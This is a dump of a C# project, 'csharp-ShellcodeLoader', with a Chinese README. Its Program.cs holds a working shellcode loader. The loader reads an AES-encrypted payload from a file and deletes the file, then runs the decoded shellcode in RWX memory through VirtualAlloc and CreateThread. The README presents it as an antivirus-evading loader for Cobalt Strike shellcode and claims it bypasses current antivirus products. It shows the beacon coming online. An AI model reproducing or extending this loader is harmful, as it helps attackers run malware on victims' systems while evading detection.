/////wAAAAP/////AAAAAf////8APwAB/////wA/wAD/////AD/wAP////8AP/gA/////wA/+AB///// 403 | AD/8AH////8AP/wAf////wA//AB/////AD/8AH////8AP/gAf////wA/8AB/////AD/AAH////8AAAAA 404 | /////wAAAAD/////AAAAAP////8AAAAB/////wAAAAH/////AAAAA/////8AAAAH/////wAAAA////// 405 | AAAAP/////8AAAH///////////////////////////////////8= 406 | 407 | 408 | -------------------------------------------------------------------------------- /BTeam-Gen/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace BTeam_Gen 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// 应用程序的主入口点。 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /BTeam-Gen/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("BTeam-Gen")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("BTeam-Gen")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("456e7a5c-ba8b-4564-b4a9-220472fbef1e")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*",如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /BTeam-Gen/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本: 4.0.30319.42000 5 | // 6 | // 对此文件的更改可能导致不正确的行为,如果 7 | // 重新生成代码,则所做更改将丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace BTeam_Gen.Properties 13 | { 14 | /// 15 | /// 强类型资源类,用于查找本地化字符串等。 16 | /// 17 | // 此类是由 StronglyTypedResourceBuilder 18 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 19 | // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen 20 | // (以 /str 作为命令选项),或重新生成 VS 项目。 21 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 22 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 23 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 24 | internal class Resources 25 | { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() 33 | { 34 | } 35 | 36 | /// 37 | /// 返回此类使用的缓存 ResourceManager 实例。 38 | /// 39 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 40 | internal static global::System.Resources.ResourceManager ResourceManager 41 | { 42 | get 43 | { 44 | if ((resourceMan == null)) 45 | { 46 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BTeam_Gen.Properties.Resources", typeof(Resources).Assembly); 47 | resourceMan = temp; 48 | } 49 | return resourceMan; 50 | } 51 | } 52 | 53 | /// 54 | /// 重写当前线程的 CurrentUICulture 属性,对 55 | /// 使用此强类型资源类的所有资源查找执行重写。 56 | /// 57 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 58 | internal static global::System.Globalization.CultureInfo Culture 59 | { 60 | get 61 | { 62 | return resourceCulture; 63 | } 64 | set 65 | { 66 | resourceCulture = value; 67 | } 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /BTeam-Gen/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /BTeam-Gen/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace BTeam_Gen.Properties 13 | { 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 17 | { 18 | 19 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 20 | 21 | public static Settings Default 22 | { 23 | get 24 | { 25 | return defaultInstance; 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /BTeam-Gen/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /BTeam-Gen/bin/Debug/BTeam-Gen.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/bin/Debug/BTeam-Gen.exe -------------------------------------------------------------------------------- /BTeam-Gen/bin/Debug/BTeam-Gen.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTeam-Gen/bin/Debug/BTeam-Gen.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/bin/Debug/BTeam-Gen.pdb -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam-Gen.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 8069502011d0681850e57a53d5a1673222f430a6 2 | -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam-Gen.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\test\source\repos\BTeam-Gen\bin\Debug\BTeam-Gen.exe.config 2 | C:\Users\test\source\repos\BTeam-Gen\bin\Debug\BTeam-Gen.exe 3 | C:\Users\test\source\repos\BTeam-Gen\bin\Debug\BTeam-Gen.pdb 4 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam-Gen.csprojAssemblyReference.cache 5 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam_Gen.Form1.resources 6 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam_Gen.Properties.Resources.resources 7 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam-Gen.csproj.GenerateResource.cache 8 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam-Gen.csproj.CoreCompileInputs.cache 9 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam-Gen.exe 10 | C:\Users\test\source\repos\BTeam-Gen\obj\Debug\BTeam-Gen.pdb 11 | -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam-Gen.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/BTeam-Gen.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam-Gen.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/BTeam-Gen.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam-Gen.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/BTeam-Gen.exe -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam-Gen.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/BTeam-Gen.pdb -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam_Gen.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/BTeam_Gen.Form1.resources -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/BTeam_Gen.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/BTeam_Gen.Properties.Resources.resources -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /BTeam-Gen/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Gen/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /BTeam-Gen/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /BTeam-Loader/.vs/BTeam-Loader/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/.vs/BTeam-Loader/v16/.suo -------------------------------------------------------------------------------- /BTeam-Loader/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTeam-Loader/BTeam-Loader.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {408193A4-BD51-4E5B-9B9E-916B749FC188} 8 | WinExe 9 | BTeam_Loader 10 | BTeam-Loader 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /BTeam-Loader/BTeam-Loader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30804.86 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BTeam-Loader", "BTeam-Loader.csproj", "{408193A4-BD51-4E5B-9B9E-916B749FC188}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {408193A4-BD51-4E5B-9B9E-916B749FC188}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {408193A4-BD51-4E5B-9B9E-916B749FC188}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {408193A4-BD51-4E5B-9B9E-916B749FC188}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {408193A4-BD51-4E5B-9B9E-916B749FC188}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {DE814E76-FDEC-459F-9D23-35928A768FC2} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /BTeam-Loader/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.IO; 7 | using System.Threading.Tasks; 8 | using System.Security.Cryptography; 9 | 10 | namespace BTeam_Loader 11 | { 12 | class Program 13 | { 14 | static void Main(string[] args) 15 | { 16 | if (args.Length == 0) 17 | { 18 | Console.WriteLine("The Path cannot be empty"); 19 | Environment.Exit(0); 20 | } 21 | if (!File.Exists(args[0])) 22 | { 23 | Console.WriteLine("FIle Not Exists."); 24 | Environment.Exit(0); 25 | } 26 | 27 | using (StreamReader fileSR = new StreamReader(args[0])) 28 | { 29 | String line = null; 30 | String data = null; 31 | 32 | while((line = fileSR.ReadLine()) != null) 33 | { 34 | data += line; 35 | } 36 | fileSR.Close(); 37 | String secret = data.Split(':')[0]; 38 | byte[] Key = System.Text.Encoding.UTF8.GetBytes(data.Split(':')[1]); 39 | byte[] Iv = System.Text.Encoding.UTF8.GetBytes(data.Split(':')[2]); 40 | String resultDecrypt = DecryptAesTo_String(secret,Key,Iv); 41 | 42 | byte[] wzqadgmywan = Convert.FromBase64String(resultDecrypt); 43 | File.Delete(args[0]); 44 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)wzqadgmywan.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 45 | Marshal.Copy(wzqadgmywan, 0, (IntPtr)(funcAddr), wzqadgmywan.Length); 46 | IntPtr hThread = IntPtr.Zero; 47 | UInt32 threadId = 0; 48 | IntPtr pinfao = IntPtr.Zero; 49 | hThread = CreateThread(0, 0, funcAddr, pinfao, 0, ref threadId); 50 | WaitForSingleObject(hThread,0xFFFFFFFF); 51 | } 52 | /* 53 | for (int i = 0; i < args.Length; i++) 54 | { 55 | Console.WriteLine(args[i]); 56 | Console.ReadKey(); 57 | } 58 | */ 59 | } 60 | static String DecryptAesTo_String(String cipherTextBase, byte[] Key, byte[] Iv) 61 | { 62 | byte[] cipherText = Convert.FromBase64String(cipherTextBase); 63 | 64 | String plaintext = null; 65 | using (Aes aesAlg = Aes.Create()) { 66 | aesAlg.Key = Key; 67 | aesAlg.IV = Iv; 68 | 69 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key,aesAlg.IV); 70 | using(MemoryStream msDecrypt = new MemoryStream(cipherText)) 71 | { 72 | using(CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 73 | { 74 | using(StreamReader srDecrypt = new StreamReader(csDecrypt)) 75 | { 76 | plaintext = srDecrypt.ReadToEnd(); 77 | } 78 | } 79 | } 80 | } 81 | return plaintext; 82 | } 83 | 84 | 85 | private static UInt32 MEM_COMMIT = 0x1000; 86 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 87 | [DllImport("kernel32")] 88 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 89 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 90 | [DllImport("kernel32")] 91 | private static extern bool VirtualFree(IntPtr lpAddress, 92 | UInt32 dwSize, UInt32 dwFreeType); 93 | [DllImport("kernel32")] 94 | private static extern IntPtr CreateThread( 95 | UInt32 lpThreadAttributes, 96 | UInt32 dwStackSize, 97 | UInt32 lpStartAddress, 98 | IntPtr param, 99 | UInt32 dwCreationFlags, 100 | ref UInt32 lpThreadId 101 | ); 102 | [DllImport("kernel32")] 103 | private static extern bool CloseHandle(IntPtr handle); 104 | [DllImport("kernel32")] 105 | private static extern UInt32 WaitForSingleObject( 106 | IntPtr hHandle, 107 | UInt32 dwMilliseconds 108 | ); 109 | [DllImport("kernel32")] 110 | private static extern IntPtr GetModuleHandle( 111 | string moduleName 112 | ); 113 | [DllImport("kernel32")] 114 | private static extern UInt32 GetProcAddress( 115 | IntPtr hModule, 116 | string procName 117 | ); 118 | [DllImport("kernel32")] 119 | private static extern UInt32 LoadLibrary( 120 | string lpFileName 121 | ); 122 | [DllImport("kernel32")] 123 | private static extern UInt32 GetLastError(); 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /BTeam-Loader/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("BTeam-Loader")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("BTeam-Loader")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("408193a4-bd51-4e5b-9b9e-916b749fc188")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*",如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /BTeam-Loader/bin/Debug/BTeam-Loader.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/bin/Debug/BTeam-Loader.exe -------------------------------------------------------------------------------- /BTeam-Loader/bin/Debug/BTeam-Loader.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BTeam-Loader/bin/Debug/BTeam-Loader.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/bin/Debug/BTeam-Loader.pdb -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/BTeam-Loader.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 7f4b213b428f4c013f19137338418ee1f5525793 2 | -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/BTeam-Loader.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\test\source\repos\BTeam-Loader\bin\Debug\BTeam-Loader.exe.config 2 | C:\Users\test\source\repos\BTeam-Loader\bin\Debug\BTeam-Loader.exe 3 | C:\Users\test\source\repos\BTeam-Loader\bin\Debug\BTeam-Loader.pdb 4 | C:\Users\test\source\repos\BTeam-Loader\obj\Debug\BTeam-Loader.csproj.CoreCompileInputs.cache 5 | C:\Users\test\source\repos\BTeam-Loader\obj\Debug\BTeam-Loader.exe 6 | C:\Users\test\source\repos\BTeam-Loader\obj\Debug\BTeam-Loader.pdb 7 | C:\Users\test\source\repos\BTeam-Loader\obj\Debug\BTeam-Loader.csprojAssemblyReference.cache 8 | -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/BTeam-Loader.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/obj/Debug/BTeam-Loader.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/BTeam-Loader.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/obj/Debug/BTeam-Loader.exe -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/BTeam-Loader.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/obj/Debug/BTeam-Loader.pdb -------------------------------------------------------------------------------- /BTeam-Loader/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/BTeam-Loader/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # csharp-ShellcodeLoader 2 | 基于csharp实现的免杀shellcode加载器 3 | 4 | # 请勿用于非法用途,否则后果自负。 5 | 6 | ### Step 7 | 8 | 使用`cs`生成*32*位的`csharp shellcode`直接放进去,然后将转换后的代码放进一个文本文件中。 9 | 10 | ![](https://github.com/AirEvan/csharp-ShellcodeLoader/blob/main/images/image1.png) 11 | 12 | 直接将保存的文本文件当作参数传递给`Loader`即可。 13 | 14 | ![](https://github.com/AirEvan/csharp-ShellcodeLoader/blob/main/images/image2.png) 15 | 16 | 然后就可以看到已经上线了。 17 | 18 | ![](https://github.com/AirEvan/csharp-ShellcodeLoader/blob/main/images/image3.png) 19 | 20 | 目前经测试能绕过以下杀毒软件最新病毒版本。`Defender`起初测试还没问题,但现在只能静态绕过,所以要想`bypass`需要进行稍许修改。 21 | 22 | ![](https://github.com/AirEvan/csharp-ShellcodeLoader/blob/main/images/image4.png) 23 | 24 | 25 | ### 项目要是对你有帮助,烦请点个star。 26 | -------------------------------------------------------------------------------- /images/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/images/image1.png -------------------------------------------------------------------------------- /images/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/images/image2.png -------------------------------------------------------------------------------- /images/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/images/image3.png -------------------------------------------------------------------------------- /images/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ormicron/csharp-ShellcodeLoader/9370620f5243499a3845fb831ebaa79ee4c2a49c/images/image4.png --------------------------------------------------------------------------------